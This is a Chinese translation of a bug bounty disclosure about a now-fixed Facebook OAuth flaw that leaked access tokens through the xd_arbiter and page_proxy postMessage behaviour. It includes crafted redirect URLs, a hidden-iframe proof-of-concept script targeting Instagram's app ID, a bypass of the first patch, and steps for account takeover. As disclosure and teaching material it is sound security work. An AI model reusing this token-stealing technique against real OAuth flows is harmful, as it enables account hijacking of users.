55000美元:Facebook帐户接管漏洞
不久前,我决定分析一下为什么我在使用“Login with Facebook”功能时总是感到不安全(因为该功能涉及多个重定向url)。但要找到Facebook的漏洞似乎并非易事,因为他们貌似拥有最优秀的安全研究人员。而在Facebook OAuth中发现一个漏洞更是非常困难和具有挑战性的。
不过,根据谷歌搜索和StackOverflow的提示,我发现这个漏洞已经存在了9到10年了。
背景
Login with Facebook
功能遵循OAuth 2.0授权协议,在facebook.com和第三方网站之间交换令牌。而我发现的漏洞可让攻击者劫持OAuth流程并窃取可接管用户帐户的访问令牌。通过恶意网站,攻击者可以同时窃取多个最常见网络应用的访问令牌(及第三方网站),例如Instagram,Oculus,Netflix,Tinder,Spotify等。
PoC
适用于javascript的Facebook SDK会使用/connect/ping
端点发出user_access
令牌,并将URL重定向到XD_Arbiter
,所有应用都默认将其加入白名单。在后台,初始化SDK将为跨域通信创建一个代理iframe。代理frame通过APIpostMessage()
发送回令牌、代码或未授权、未知状态。以下是正常的登录流程URL。
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com
这个端点很好地避免了某些广为人知的漏洞,如参数污染、源验证、重定向等。我尝试了很多不同的绕过方法都没有成功。那我们现在怎么办呢?
我注意到将xd_arbiter.php?v=42
修改为xd_arbiter/?v=42
后,可以往URL中添加更多的目录/参数。
从攻击角度来看,从哈希片段中窃取令牌是非常困难的。在这一点上,我们需要一个代理框架,它可以(劫持)为我们完成任务,比如location.hash
和APIpostMessage()
配合将消息发送到任意源(跨源消息)。
幸运的是,我很快找到了page_proxy
。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
page_proxy
中包含了与我们想要的完全相同的代码。
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
该资源有一个EventListener
属性,如果条件检查失败,则代码将使用postMessage()
配合“frameName”返回数据给任意源“*”。
利用Proxy
利用page_proxy
对我来说并不困难,只需要将page_proxy资源附加到xd_arbiter
。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
在这个漏洞流程中,还有一些点非常重要。
1.缺少X-frame-Options
头。
2.window.parent
可影响用户的交互,不需要为window.open或任何按钮onclick事件操心。
重写Custom_SDK.js
var app_id = '124024574287414',
app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
现在,跨域通信在不知道受害者信息的情况下会将access_token
泄漏到任何源,从而导致用户帐户劫持。
Facebook帐户接管
泄漏的第1方graphql令牌,可用于发起一个恶意查询以添加和确认一个新的电话号码以进行帐户找回。因为它们对GraphQL查询来说是白名单,所以不需要进行任何权限检查,具有完全的读/写权限,比如信息、照片、视频,即使隐私控制设置为“only me”也一样。
修复
在提交报告的几个小时内,Facebook迅速确认了这个问题,并进行了修复。
1./connect/ping
端点已被永久下线。
2.在XD_Arbiter
中添加了__d(“JSSDKConfig”)
行来中断page_proxy
中的JS代码的执行。
不充分的解决措施
虽然我们双方都知道OAuth的核心端点/dialog/OAuth/
仍然使用一个令牌重定向到page_proxy
。我也通知他们需修补这些端点,但Facebook表示xd_arbiter
已被列入白名单,安全团队认为page_proxy
资源中的代码更新可以解决这个缺陷,令牌本身并不会泄露。
于是2-3天后,我再次访问了page_proxy
代码,发现“__d(“JSSDKConfig”)”
代码行被移到了底部,并且可以再次对postMessage()
进行调用。我并没有完全分析他们所做的改变,但我猜测一开始的修复代码可能会破坏其他资源,甚至arbiter本身。这就是为什么代码行移动到底部的原因。我立即开始了测试。
www.facebook.com
不会遵循重定向状态到xd_arbiter
,而是为客户源创建closed_window
和postMessage()
。这条规则同样适用于“m”、“mobile”、“touch”等(在chrome可以,firefox不行)。你可能也知道Facebook如何在User-Agent和子域之间发挥作用。
进入mbasic.facbook.com
,返回HTTP 302重定向标头,所有浏览器都如此。
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
修复
1.不再允许对xd_arbiter进行任何修改/篡改。(只接受绝对文件路径xd_arbiter.php
)
2.所有针对xd_arbiter
的重定向HTTP状态都被阻塞。
3.资源文件7SWBAvHenEn.js
被删除。
4.在另一个JS资源中添加了正则表达式验证过滤器。
演示视频地址:https://youtu.be/ZOgvMZHnsjE
影响
由于不正确的消息发送设置,访问攻击者所控制的恶意网站可能会导致使用Facebook的Oauth流程的应用的第一方访问令牌被盗。
时间线
2019年12月16日——初步漏洞报告发送。
2019年12月16日——确认报告。
2019年12月16日——Facebook进行修复。
2019年12月23日——Facebook确认修复。
2020年1月3日——绕过修复。
2020年1月10日——脸书颁发奖金。
2020年1月10日——绕过确认。
2020年1月10日——修改绕过缺陷。
2020年1月17日——Facebook确认修复。
2020年2月21日——Facebook给予5.5万美元奖金。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
最新评论